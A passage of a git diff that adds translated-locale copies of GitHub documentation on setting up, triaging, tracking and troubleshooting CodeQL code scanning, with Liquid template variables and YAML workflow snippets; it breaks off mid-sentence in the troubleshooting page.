Overview](/assets/images/help/security/overview-set-up-code-scanning.png) +4. Under "Get started with {% data variables.product.prodname_code_scanning %}", click **Set up this workflow** on the {% data variables.code-scanning.codeql_workflow %} or on a third-party workflow. + !["Set up this workflow" button under "Get started with {% data variables.product.prodname_code_scanning %}" heading](/assets/images/help/repository/code-scanning-set-up-this-workflow.png)Workflows are only displayed if they are relevant for the programming languages detected in the repository. The {% data variables.code-scanning.codeql_workflow %} is always displayed, but the "Set up this workflow" button is only enabled if {% data variables.product.prodname_codeql %} analysis supports the languages present in the repository. +5. To customize how {% data variables.product.prodname_code_scanning %} scans your code, edit the workflow. + + Generally you can commit the {% data variables.code-scanning.codeql_workflow %} without making any changes to it. However, many of the third-party workflows require additional configuration, so read the comments in the workflow before committing. + + For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)." +6. Use the **Start commit** drop-down, and type a commit message. + ![Start commit](/assets/images/help/repository/start-commit-commit-new-file.png) +7. Choose whether you'd like to commit directly to the default branch, or create a new branch and start a pull request. + ![Choose where to commit](/assets/images/help/repository/start-commit-choose-where-to-commit.png) +8. Click **Commit new file** or **Propose new file**. + +In the default {% data variables.code-scanning.codeql_workflow %}, {% data variables.product.prodname_code_scanning %} is configured to analyze your code each time you either push a change to the default branch or any protected branches, or raise a pull request against the default branch. As a result, {% data variables.product.prodname_code_scanning %} will now commence. + +The `on:pull_request` and `on:push` triggers for code scanning are each useful for different purposes. For more information, see "[Scanning pull requests](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-pull-requests)" and "[Scanning on push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push)." +## Bulk set up of {% data variables.product.prodname_code_scanning %} + +You can set up {% data variables.product.prodname_code_scanning %} in many repositories at once using a script. If you'd like to use a script to raise pull requests that add a {% data variables.product.prodname_actions %} workflow to multiple repositories, see the [`jhutchings1/Create-ActionsPRs`](https://github.com/jhutchings1/Create-ActionsPRs) repository for an example using PowerShell, or [`nickliffen/ghas-enablement`](https://github.com/NickLiffen/ghas-enablement) for teams who do not have PowerShell and instead would like to use NodeJS. + +## Viewing the logging output from {% data variables.product.prodname_code_scanning %} + +After setting up {% data variables.product.prodname_code_scanning %} for your repository, you can watch the output of the actions as they run. + +{% data reusables.repositories.actions-tab %} + + You'll see a list that includes an entry for running the {% data variables.product.prodname_code_scanning %} workflow. The text of the entry is the title you gave your commit message. + + ![Actions list showing {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-actions-list.png) + +1. Click the entry for the {% data variables.product.prodname_code_scanning %} workflow. + +1. Click the job name on the left. For example, **Analyze (LANGUAGE)**. + + ![Log output from the {% data variables.product.prodname_code_scanning %} workflow](/assets/images/help/repository/code-scanning-logging-analyze-action.png) + +1. Review the logging output from the actions in this workflow as they run. + +1. Once all jobs are complete, you can view the details of any {% data variables.product.prodname_code_scanning %} alerts that were identified. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." + +{% note %} + +**Note:** If you raised a pull request to add the {% data variables.product.prodname_code_scanning %} workflow to the repository, alerts from that pull request aren't displayed directly on the {% data variables.product.prodname_code_scanning_capc %} page until the pull request is merged. If any alerts were found you can view these, before the pull request is merged, by clicking the **_n_ alerts found** link in the banner on the {% data variables.product.prodname_code_scanning_capc %} page. + +![Click the "n alerts found" link](/assets/images/help/repository/code-scanning-alerts-found-link.png) + +{% endnote %} + +## Understanding the pull request checks + +Each {% data variables.product.prodname_code_scanning %} workflow you set to run on pull requests always has at least two entries listed in the checks section of a pull request. There is one entry for each of the analysis jobs in the workflow, and a final one for the results of the analysis. + +The names of the {% data variables.product.prodname_code_scanning %} analysis checks take the form: "TOOL NAME / JOB NAME (TRIGGER)." For example, for {% data variables.product.prodname_codeql %}, analysis of C++ code has the entry "{% data variables.product.prodname_codeql %} / Analyze (cpp) (pull_request)." You can click **Details** on a {% data variables.product.prodname_code_scanning %} analysis entry to see logging data. This allows you to debug a problem if the analysis job failed. For example, for {% data variables.product.prodname_code_scanning %} analysis of compiled languages, this can happen if the action can't build the code. + + ![{% data variables.product.prodname_code_scanning %} pull request checks](/assets/images/help/repository/code-scanning-pr-checks.png) + +When the {% data variables.product.prodname_code_scanning %} jobs complete, {% data variables.product.prodname_dotcom %} works out whether any alerts were added by the pull request and adds the "{% data variables.product.prodname_code_scanning_capc %} results / TOOL NAME" entry to the list of checks. After {% data variables.product.prodname_code_scanning %} has been performed at least once, you can click **Details** to view the results of the analysis. + +{% ifversion ghes < 3.5 or ghae %} +If you used a pull request to add {% data variables.product.prodname_code_scanning %} to the repository, you will initially see an "Analysis not found" message when you click **Details** on the "{% data variables.product.prodname_code_scanning_capc %} results / TOOL NAME" check. + + ![Analysis not found for commit message](/assets/images/enterprise/3.4/repository/code-scanning-analysis-not-found.png) + +The table lists one or more categories. Each category relates to specific analyses, for the same tool and commit, performed on a different language or a different part of the code. For each category, the table shows the two analyses that {% data variables.product.prodname_code_scanning %} attempted to compare to determine which alerts were introduced or fixed in the pull request. + +For example, in the screenshot above, {% data variables.product.prodname_code_scanning %} found an analysis for the merge commit of the pull request, but no analysis for the head of the main branch. + +### Reasons for the "Analysis not found" message + + +After {% data variables.product.prodname_code_scanning %} has analyzed the code in a pull request, it needs to compare the analysis of the topic branch (the branch you used to create the pull request) with the analysis of the base branch (the branch into which you want to merge the pull request). This allows {% data variables.product.prodname_code_scanning %} to compute which alerts are newly introduced by the pull request, which alerts were already present in the base branch, and whether any existing alerts are fixed by the changes in the pull request. Initially, if you use a pull request to add {% data variables.product.prodname_code_scanning %} to a repository, the base branch has not yet been analyzed, so it's not possible to compute these details. In this case, when you click through from the results check on the pull request you will see the "Analysis not found" message. + +There are other situations where there may be no analysis for the latest commit to the base branch for a pull request. These include: + +* The pull request has been raised against a branch other than the default branch, and this branch hasn't been analyzed. + + To check whether a branch has been scanned, go to the {% data variables.product.prodname_code_scanning_capc %} page, click the **Branch** drop-down and select the relevant branch. + + ![Choose a branch from the Branch drop-down menu](/assets/images/help/repository/code-scanning-branch-dropdown.png) + + The solution in this situation is to add the name of the base branch to the `on:push` and `on:pull_request` specification in the {% data variables.product.prodname_code_scanning %} workflow on that branch and then make a change that updates the open pull request that you want to scan. + +* The latest commit on the base branch for the pull request is currently being analyzed and analysis is not yet available. + + Wait a few minutes and then push a change to the pull request to retrigger {% data variables.product.prodname_code_scanning %}. + +* An error occurred while analyzing the latest commit on the base branch and analysis for that commit isn't available. + + Merge a trivial change into the base branch to trigger {% data variables.product.prodname_code_scanning %} on this latest commit, then push a change to the pull request to retrigger {% data variables.product.prodname_code_scanning %}. + +{% endif %} + +## Next steps + +After setting up {% data variables.product.prodname_code_scanning %}, and allowing its actions to complete, you can: + +- View all of the {% data variables.product.prodname_code_scanning %} alerts generated for this repository. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)." +- View any alerts generated for a pull request submitted after you set up {% data variables.product.prodname_code_scanning %}. For more information, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." +- Set up notifications for completed runs. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#github-actions-notification-options)." +- View the logs generated by the {% data variables.product.prodname_code_scanning %} analysis. For more information, see "[Viewing {% data variables.product.prodname_code_scanning %} logs](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs)." +- Investigate any problems that occur with the initial setup of {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}. For more information, see "[Troubleshooting the {% data variables.product.prodname_codeql %} workflow](/code-security/secure-coding/troubleshooting-the-codeql-workflow)." +- Customize how {% data variables.product.prodname_code_scanning %} scans the code in your repository. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)." diff --git a/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md new file mode 100644 index 000000000000..ac00737cbca5 --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md @@ -0,0 +1,88 @@ +--- +title: Tracking code scanning alerts in issues using task lists +shortTitle: Track alerts in issues +intro: You can add code scanning alerts to issues using task lists. This makes it easy to create a plan for development work that includes fixing alerts. +product: '{% data reusables.gated-features.code-scanning %}' +permissions: 'If you have write permission to a repository you can track {% data variables.product.prodname_code_scanning %} alerts in issues using task lists.' +versions: + feature: code-scanning-task-lists +type: how_to +topics: + - Advanced Security + - Code scanning + - Alerts + - Repositories + - Issues +--- + +{% data reusables.code-scanning.beta-alert-tracking-in-issues %} + +## About tracking {% data variables.product.prodname_code_scanning %} alerts in issues + +{% data reusables.code-scanning.github-issues-integration %} + +You can also create a new issue to track an alert: +- From a {% data variables.product.prodname_code_scanning %} alert, which automatically adds the code scanning alert to a task list in the new issue. For more information, see "[Creating a tracking issue from a {% data variables.product.prodname_code_scanning %} alert](#creating-a-tracking-issue-from-a-code-scanning-alert)" below. + +- Via the API as you normally would, and then provide the code scanning link within the body of the issue. You must use the task list syntax to create the tracked relationship: + - `- [ ] ` + - For example, if you add `- [ ] https://github.com/octocat-org/octocat-repo/security/code-scanning/17` to an issue, the issue will track the code scanning alert that has an ID number of 17 in the "Security" tab of the `octocat-repo` repository in the `octocat-org` organization. + +You can use more than one issue to track the same {% data variables.product.prodname_code_scanning %} alert, and issues can belong to different repositories from the repository where the {% data variables.product.prodname_code_scanning %} alert was found. + + +{% data variables.product.product_name %} provides visual cues in different locations of the user interface to indicate when you are tracking {% data variables.product.prodname_code_scanning %} alerts in issues. + +- The code scanning alerts list page will show which alerts are tracked in issues so that you can view at a glance which alerts still require processing. + + ![Tracked in pill on code scanning alert page](/assets/images/help/repository/code-scanning-alert-list-tracked-issues.png) + +- A "tracked in" section will also show in the corresponding alert page. + + {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} + ![Tracked in section on code scanning alert page](/assets/images/help/repository/code-scanning-alert-tracked-in-pill.png) + {% else %} + ![Tracked in section on code scanning alert page](/assets/images/enterprise/3.4/repository/code-scanning-alert-tracked-in-pill.png) + {% endif %} + +- On the tracking issue, {% data variables.product.prodname_dotcom %} displays a security badge icon in the task list and on the hovercard. + + {% note %} + + Only users with write permissions to the repository will see the unfurled URL to the alert in the issue, as well as the hovercard. For users with read permissions to the repository, or no permissions at all, the alert will appear as a plain URL. + + {% endnote %} + + The color of the icon is grey because an alert has a status of "open" or "closed" on every branch. The issue tracks an alert, so the alert cannot have a single open/closed state in the issue. If the alert is closed on one branch, the icon color will not change. + + ![Hovercard in tracking issue](/assets/images/help/repository/code-scanning-tracking-issue-hovercard.png) + +The status of the tracked alert won't change if you change the checkbox state of the corresponding task list item (checked/unchecked) in the issue. + +## Creating a tracking issue from a code scanning alert + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-security %} +{% data reusables.repositories.sidebar-code-scanning-alerts %} +{% ifversion fpt or ghes or ghae %} +{% data reusables.code-scanning.explore-alert %} +1. Optionally, to find the alert to track, you can use the free-text search or the drop-down menus to filter and locate the alert. For more information, see "[Managing code scanning alerts for your repository](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#filtering-code-scanning-alerts)." +{% endif %} +1. Towards the top of the page, on the right side, click **Create issue**. + {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} + ![Create a tracking issue for the code scanning alert](/assets/images/help/repository/code-scanning-create-issue-for-alert.png) + {% else %} + ![Create a tracking issue for the code scanning alert](/assets/images/enterprise/3.4/repository/code-scanning-create-issue-for-alert.png) + {% endif %} + {% data variables.product.prodname_dotcom %} automatically creates an issue to track the alert and adds the alert as a task list item. + {% data variables.product.prodname_dotcom %} prepopulates the issue: + - The title contains the name of the {% data variables.product.prodname_code_scanning %} alert. + - The body contains the task list item with the full URL to the {% data variables.product.prodname_code_scanning %} alert. +2. Optionally, edit the title and the body of the issue. + {% warning %} + + **Warning:** You may want to edit the title of the issue as it may expose security information. You can also edit the body of the issue, but do not edit the task list item or the issue will no longer track the alert. + {% endwarning %} + + ![New tracking issue for the code scanning alert](/assets/images/help/repository/code-scanning-new-tracking-issue.png) +3. Click **Submit new issue**. diff --git a/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md new file mode 100644 index 000000000000..f9ca9039adec --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md @@ -0,0 +1,124 @@ +--- +title: Triaging code scanning alerts in pull requests +shortTitle: Triage alerts in pull requests +intro: 'When {% data variables.product.prodname_code_scanning %} identifies a problem in a pull request, you can review the highlighted code and resolve the alert.' +product: '{% data reusables.gated-features.code-scanning %}' +permissions: 'If you have read permission for a repository, you can see annotations on pull requests. With write permission, you can see detailed information and resolve {% data variables.product.prodname_code_scanning %} alerts for that repository.' +redirect_from: + - /github/finding-security-vulnerabilities-and-errors-in-your-code/triaging-code-scanning-alerts-in-pull-requests + - /code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests + - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Advanced Security + - Code scanning + - Pull requests + - Alerts + - Repositories +--- + + +{% data reusables.code-scanning.beta %} + +## About {% data variables.product.prodname_code_scanning %} results on pull requests + +In repositories where {% data variables.product.prodname_code_scanning %} is configured as a pull request check, {% data variables.product.prodname_code_scanning %} checks the code in the pull request. By default, this is limited to pull requests that target the default branch, but you can change this configuration within {% data variables.product.prodname_actions %} or in a third-party CI/CD system. If merging the changes would introduce new {% data variables.product.prodname_code_scanning %} alerts to the target branch, the alerts are reported in multiple places. + +- Check results in the pull request {% ifversion code-scanning-pr-conversations-tab %} +- The **Conversation** tab of the pull request, as part of a pull request review {% endif %} +- The **Files changed** tab of the pull request + +If you have write permission for the repository, you can see any existing {% data variables.product.prodname_code_scanning %} alerts on the **Security** tab. For information about repository alerts, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)." + +In repositories where {% data variables.product.prodname_code_scanning %} is configured to scan each time code is pushed, {% data variables.product.prodname_code_scanning %} will also map the results to any open pull requests and add the alerts as annotations in the same places as other pull request checks. For more information, see "[Scanning on push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push)." + +If your pull request targets a protected branch that uses {% data variables.product.prodname_code_scanning %}, and the repository owner has configured required status checks, then the "{% data variables.product.prodname_code_scanning_capc %} results" check must pass before you can merge the pull request. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)." + +## About {% data variables.product.prodname_code_scanning %} as a pull request check + +There are many options for configuring {% data variables.product.prodname_code_scanning %} as a pull request check, so the exact setup of each repository will vary and some will have more than one check. + +### {% data variables.product.prodname_code_scanning_capc %} results check + +For all configurations of {% data variables.product.prodname_code_scanning %}, the check that contains the results of {% data variables.product.prodname_code_scanning %} is: **{% data variables.product.prodname_code_scanning_capc %} results**. The results for each analysis tool used are shown separately. Any new alerts caused by changes in the pull request are shown as annotations. + +To see the full set of alerts for the analyzed branch, click **View all branch alerts**. This opens the full alert view where you can filter all the alerts on the branch by type, severity, tag, etc. For more information, see "[Managing code scanning alerts for your repository](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#filtering-and-searching-for-code-scanning-alerts)." + +![{% data variables.product.prodname_code_scanning_capc %} results check on a pull request](/assets/images/help/repository/code-scanning-results-check.png) + +### {% data variables.product.prodname_code_scanning_capc %} results check failures + +If the {% data variables.product.prodname_code_scanning %} results check finds any problems with a severity of `error`, `critical`, or `high`, the check fails and the error is reported in the check results. If all the results found by {% data variables.product.prodname_code_scanning %} have lower severities, the alerts are treated as warnings or notes and the check succeeds. + +![Failed {% data variables.product.prodname_code_scanning %} check on a pull request](/assets/images/help/repository/code-scanning-check-failure.png) + +You can override the default behavior in your repository settings, by specifying the level of severities and security severities that will cause a pull request check failure. For more information, see "[Defining the severities causing pull request check failure](/code-security/secure-coding/configuring-code-scanning#defining-the-severities-causing-pull-request-check-failure)". + +### Other {% data variables.product.prodname_code_scanning %} checks + +Depending on your configuration, you may see additional checks running on pull requests with {% data variables.product.prodname_code_scanning %} configured. These are usually workflows that analyze the code or that upload {% data variables.product.prodname_code_scanning %} results. These checks are useful for troubleshooting when there are problems with the analysis. + +For example, if the repository uses the {% data variables.code-scanning.codeql_workflow %} a **{% data variables.product.prodname_codeql %} / Analyze (LANGUAGE)** check is run for each language before the results check runs. The analysis check may fail if there are configuration problems, or if the pull request breaks the build for a language that the analysis needs to compile (for example, C/C++, C#, or Java). + +As with other pull request checks, you can see full details of the check failure on the **Checks** tab. For more information about configuring and troubleshooting, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" or "[Troubleshooting the {% data variables.product.prodname_codeql %} workflow](/code-security/secure-coding/troubleshooting-the-codeql-workflow)." + +## Viewing an alert on your pull request + +{% ifversion code-scanning-pr-conversations-tab %} +You can see any {% data variables.product.prodname_code_scanning %} alerts introduced in a pull request by viewing the **Conversation** tab. {% data variables.product.prodname_code_scanning_capc %} posts a pull request review that shows each alert as an annotation on the lines of code that triggered the alert. You can comment on the alerts, dismiss the alerts, and view paths for the alerts, directly from the annotations. You can view the full details of an alert by clicking the "Show more details" link, which will take you to the alert details page. + +![Alert annotation within a pull request Conversations tab](/assets/images/help/repository/code-scanning-pr-conversation-tab.png) + +You can also view all {% data variables.product.prodname_code_scanning %} alerts in the **Files changed** tab of the pull request. Existing {% data variables.product.prodname_code_scanning %} alerts on a file that are outside the diff of the changes introduced in the pull request will only appear in the **Files changed** tab. + +{% else %} +You can see any {% data variables.product.prodname_code_scanning %} alerts introduced in a pull request by displaying the **Files changed** tab. Each alert is shown as an annotation on the lines of code that triggered the alert. The severity of the alert is displayed in the annotation. + +![Alert annotation within a pull request diff](/assets/images/help/repository/code-scanning-pr-annotation.png) +{% endif %} + +If you have write permission for the repository, some annotations contain links with extra context for the alert. In the example above, from {% data variables.product.prodname_codeql %} analysis, you can click **user-provided value** to see where the untrusted data enters the data flow (this is referred to as the source). In this case you can also view the full path from the source to the code that uses the data (the sink) by clicking **Show paths**. This makes it easy to check whether the data is untrusted or if the analysis failed to recognize a data sanitization step between the source and the sink. For information about analyzing data flow using {% data variables.product.prodname_codeql %}, see "[About data flow analysis](https://codeql.github.com/docs/writing-codeql-queries/about-data-flow-analysis/)." + +To see more information about an alert, users with write permission can click the **Show more details** link shown in the annotation. This allows you to see all of the context and metadata provided by the tool in an alert view. In the example below, you can see tags showing the severity, type, and relevant common weakness enumerations (CWEs) for the problem. The view also shows which commit introduced the problem. + +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +{% data reusables.code-scanning.alert-default-branch %} +{% endif %} + +In the detailed view for an alert, some {% data variables.product.prodname_code_scanning %} tools, like {% data variables.product.prodname_codeql %} analysis, also include a description of the problem and a **Show more** link for guidance on how to fix your code. + +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +![Alert description and link to show more information](/assets/images/help/repository/code-scanning-pr-alert.png) +{% else %} +![Alert description and link to show more information](/assets/images/enterprise/3.4/repository/code-scanning-pr-alert.png) +{% endif %} + +{% ifversion code-scanning-pr-conversations-tab %} +## Commenting on an alert in a pull request + +You can comment on any {% data variables.product.prodname_code_scanning %} alert introduced by the changes in a pull request. Alerts appear as annotations in the **Conversation** tab of a pull request, as part of a pull request review, and also are shown in the **Files changed** tab. You can only comment on alerts introduced by the changes in a pull request. Existing {% data variables.product.prodname_code_scanning %} alerts, on files that are outside the changes introduced in the pull request, will appear in the **Files changed** tab but cannot be commented on. + +You can choose to require all conversations in a pull request, including those on {% data variables.product.prodname_code_scanning %} alerts, to be resolved before a pull request can be merged. For more information, see "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-conversation-resolution-before-merging)." +{% endif %} +## Fixing an alert on your pull request + +Anyone with push access to a pull request can fix a {% data variables.product.prodname_code_scanning %} alert that's identified on that pull request. If you commit changes to the pull request this triggers a new run of the pull request checks. If your changes fix the problem, the alert is closed and the annotation removed. + +## Dismissing an alert on your pull request + +An alternative way of closing an alert is to dismiss it. You can dismiss an alert if you don't think it needs to be fixed. {% data reusables.code-scanning.close-alert-examples %} If you have write permission for the repository, the **Dismiss** button is available in code annotations and in the alerts summary. When you click **Dismiss** you will be prompted to choose a reason for closing the alert. +{% ifversion comment-dismissed-code-scanning-alert %} +![Screenshot of code scanning alert with dropdown to choose dismissal reason emphasized](/assets/images/help/repository/code-scanning-alert-dropdown-reason.png) +{% else %} +![Choosing a reason for dismissing an alert](/assets/images/help/repository/code-scanning-alert-close-drop-down.png) +{% endif %} +{% data reusables.code-scanning.choose-alert-dismissal-reason %} + +{% data reusables.code-scanning.false-positive-fix-codeql %} + +For more information about dismissing alerts, see {% ifversion delete-code-scanning-alerts %}"[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#dismissing-or-deleting-alerts)."{% else %} "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#dismissing--alerts)."{% endif %} diff --git a/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md new file mode 100644 index 000000000000..abab0e580d5d --- /dev/null +++ b/translations/ru-RU/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md @@ -0,0 +1,347 @@ +--- +title: Troubleshooting the CodeQL workflow +shortTitle: Troubleshoot CodeQL workflow +intro: 'If you''re having problems with {% data variables.product.prodname_code_scanning %}, you can troubleshoot by using these tips for resolving issues.' +product: '{% data reusables.gated-features.code-scanning %}' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /github/finding-security-vulnerabilities-and-errors-in-your-code/troubleshooting-code-scanning + - /github/finding-security-vulnerabilities-and-errors-in-your-code/troubleshooting-the-codeql-workflow + - /code-security/secure-coding/troubleshooting-the-codeql-workflow + - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Advanced Security + - Code scanning + - CodeQL + - Actions + - Troubleshooting + - Repositories + - Pull requests + - C/C++ + - C# + - Java +--- + + +{% data reusables.code-scanning.beta %} +{% data reusables.code-scanning.not-available %} + +{% ifversion ghes or ghae %} +{% note %} + +**Note:** This article describes the features available with the version of the CodeQL action and associated CodeQL CLI bundle included in the initial release of this version of {% data variables.product.product_name %}. If your enterprise uses a more recent version of the CodeQL action, see the [{% data variables.product.prodname_ghe_cloud %} article](/enterprise-cloud@latest/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow) for information on the latest features. {% ifversion not ghae %} For information on using the latest version, see "[Configuring code scanning for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access)."{% endif %} + +{% endnote %} +{% endif %} + +## Producing detailed logs for debugging + +To produce more detailed logging output, you can enable step debug logging. For more information, see "[Enabling debug logging](/actions/managing-workflow-runs/enabling-debug-logging#enabling-step-debug-logging)." + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} + +## Creating {% data variables.product.prodname_codeql %} debugging artifacts + +You can obtain artifacts to help you debug {% data variables.product.prodname_codeql %}. +The debug artifacts will be uploaded to the workflow run as an artifact named `debug-artifacts`. The data contains the {% data variables.product.prodname_codeql %} logs, {% data variables.product.prodname_codeql %} database(s), and any SARIF file(s) produced by the workflow. + +These artifacts will help you debug problems with {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}. If you contact GitHub support, they might ask for this data. + +{% endif %} + +{% ifversion codeql-action-debug-logging %} + +### Creating {% data variables.product.prodname_codeql %} debugging artifacts by re-running jobs with debug logging enabled + +You can create {% data variables.product.prodname_codeql %} debugging artifacts by enabling debug logging and re-running the jobs. For more information about re-running {% data variables.product.prodname_actions %} workflows and jobs, see "[Re-running workflows and jobs](/actions/managing-workflow-runs/re-running-workflows-and-jobs)." + +You need to ensure that you select **Enable debug logging** . This option enables runner diagnostic logging and step debug logging for the run. You'll then be able to download `debug-artifacts` to investigate further. You do not need to modify the workflow file when creating {% data variables.product.prodname_codeql %} debugging artifacts by re-running jobs. + +{% endif %} + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} + +### Creating {% data variables.product.prodname_codeql %} debugging artifacts using a workflow flag + +You can create {% data variables.product.prodname_codeql %} debugging artifacts by using a flag in your workflow. For this, you need to modify the `init` step of your {% data variables.code-scanning.codeql_workflow %} file and set `debug: true`. + +```yaml +- name: Initialize CodeQL + uses: {% data reusables.actions.action-codeql-action-init %} + with: + debug: true +``` + +{% endif %} + +## Automatic build for a compiled language fails + +If an automatic build of code for a compiled language within your project fails, try the following troubleshooting steps. + +- Remove the `autobuild` step from your {% data variables.product.prodname_code_scanning %} workflow and add specific build steps. For information about editing the workflow, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)." For more information about replacing the `autobuild` step, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." + +- If your workflow doesn't explicitly specify the languages to analyze, {% data variables.product.prodname_codeql %} implicitly detects the supported languages in your code base. In this configuration, out of the compiled languages C/C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} and Java, {% data variables.product.prodname_codeql %} only analyzes the language with the most source files. Edit the workflow and add a matrix specifying the languages you want to analyze. The default CodeQL analysis workflow uses such a matrix. + + The following extracts from a workflow show how you can use a matrix within the job strategy to specify languages, and then reference each language within the "Initialize {% data variables.product.prodname_codeql %}" step: + + ```yaml + jobs: + analyze: + permissions: + security-events: write + actions: read + ... + strategy: + fail-fast: false + matrix: + language: ['csharp', 'cpp', 'javascript'] + + steps: + ... + - name: Initialize {% data variables.product.prodname_codeql %} + uses: {% data reusables.actions.action-codeql-action-init %} + with: + languages: {% raw %}${{ matrix.language }}{% endraw %} + ``` + + For more information about editing the workflow, see "[Configuring code scanning](/code-security/secure-coding/configuring-code-scanning)." + +## No code found during the build + +If your workflow fails with an error `No source code was seen during the build` or `The process '/opt/hostedtoolcache/CodeQL/0.0.0-20200630/x64/codeql/codeql' failed with exit code 32`, this indicates that {% data variables.product.prodname_codeql %} was unable to monitor your code. Several reasons can explain such a failure: + +1. The repository may not contain source code that is written in languages supported by {% data variables.product.prodname_codeql %}. Check the list of supported languages and, if this is the case, remove the {% data variables.product.prodname_codeql %} workflow. For more information, see "[About code scanning with CodeQL](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql#about-codeql) + +1. Automatic language detection identified a supported language, but there is no analyzable code of that language in the repository. A typical example is when our language detection service finds a file associated with a particular programming language like a `.h`, or `.gyp` file, but no corresponding executable code is present in the repository. To solve the problem, you can manually define the languages you want to analyze by updating the list of languages in the `language` matrix. For example, the following configuration will analyze only Go, and JavaScript. + + ```yaml + strategy: + fail-fast: false + matrix: + # Override automatic language detection by changing the list below. + # Supported options are listed in a comment in the default workflow. + language: ['go', 'javascript'] + ``` + + For more information, see the workflow extract in "[Automatic build for a compiled language fails](#automatic-build-for-a-compiled-language-fails)" above. + +1. Your {% data variables.product.prodname_code_scanning %} workflow is analyzing a compiled language (C, C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} or Java), but the code was not compiled. By default, the {% data variables.product.prodname_codeql %} analysis workflow contains an `autobuild` step, however, this step represents a best effort process, and may not succeed in building your code, depending on your specific build environment. Compilation may also fail if you have removed the `autobuild` step and did not include build steps manually. For more information about specifying build steps, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." +1. Your workflow is analyzing a compiled language (C, C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} or Java), but portions of your build are cached to improve performance (most likely to occur with build systems like 